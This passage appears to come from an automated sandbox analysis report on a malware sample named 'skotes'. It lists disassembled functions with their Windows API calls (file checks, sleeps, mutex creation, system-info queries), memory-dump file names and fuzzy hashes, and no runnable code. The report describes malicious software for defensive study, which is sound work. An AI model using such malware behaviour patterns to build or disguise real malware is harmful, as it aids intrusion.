Function 00AAA54D Relevance: 4.6, APIs: 3, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00AAA550
Sleep.KERNEL32(00000064,?), ref: 00AAA963
CreateMutexA.KERNEL32(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 631fd37f72604d69a41fa1c936287f57367fcfb487c8b4c822727e43e05c6810
Instruction ID: 02bf444e2a7f75fa53f32720b5b708503a7f6ccd50aa00482083e09ab36479ec
Opcode Fuzzy Hash: 631fd37f72604d69a41fa1c936287f57367fcfb487c8b4c822727e43e05c6810
Instruction Fuzzy Hash: D5316D31B041008BEB18DBB8DDC97ADB7B6EFD6314F248618E015973D5DB359980C756

Function 00AAA682 Relevance: 4.6, APIs: 3, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00AAA685
Sleep.KERNEL32(00000064,?), ref: 00AAA963
CreateMutexA.KERNEL32(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: b39fcd440633914a0080ca9975209e68a1019de48b7f9d4d8945d11b9c7303c4
Instruction ID: 70ae473bd3b4b8df7cb3752a76dffcffda1715aff8cd56c534d1a5584a7693d3
Opcode Fuzzy Hash: b39fcd440633914a0080ca9975209e68a1019de48b7f9d4d8945d11b9c7303c4
Instruction Fuzzy Hash: 4C3168317042009BEB18DB78DD89BAEB7F6EF96314F248218E014D73D6D73A9980C792

Function 00AAA7B7 Relevance: 4.6, APIs: 3, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00AAA7BA
Sleep.KERNEL32(00000064,?), ref: 00AAA963
CreateMutexA.KERNEL32(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 4b1c839474fcfe013299b690f6331328ca82387500c6bfe180bcf4643a34f186
Instruction ID: 747f13406fcd0739a3695d8363978cd83ac9f900ed7c3f8f529d540d3d074e93
Opcode Fuzzy Hash: 4b1c839474fcfe013299b690f6331328ca82387500c6bfe180bcf4643a34f186
Instruction Fuzzy Hash: F3313731B042049BEB18DB78DE89BAEB7B6EF96314F248218E014D72D5D73A9981C752

Function 00AA8380 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00AA8524

Strings

hf, xrefs: 00AA8412

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: hf
API String ID: 1721193555-3670292298
Opcode ID: dc648654a1c4c81e982ad361b4256bba48d94760f2efc4ac58dafbcaf3e7bf89
Instruction ID: a482ada96635193a4f50f3fcb73955d6784dc76420660cb100e19d85349236fb
Opcode Fuzzy Hash: dc648654a1c4c81e982ad361b4256bba48d94760f2efc4ac58dafbcaf3e7bf89
Instruction Fuzzy Hash: D7513970D142199BDB24EF78CE457DDB775EB46710F5042A8E804A72C1EF389E848B91

Function 00AD6E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4a73de443da52d9e871f79e17711792e69edb7ef4a077b720f6b890a3bfb7ae
Instruction ID: 281d3a655b82889e44a458e6f6d051d0f97e40e50a63cf793e76c8f1faa9b1c6
Opcode Fuzzy Hash: d4a73de443da52d9e871f79e17711792e69edb7ef4a077b720f6b890a3bfb7ae
Instruction Fuzzy Hash: FB21F8329051087BEB11AB68EE42B9F3769DF45378F100312F9256B3D1EB709E018661

Function 00AAA960 Relevance: 3.0, APIs: 2, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 00AAA963
CreateMutexA.KERNEL32(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
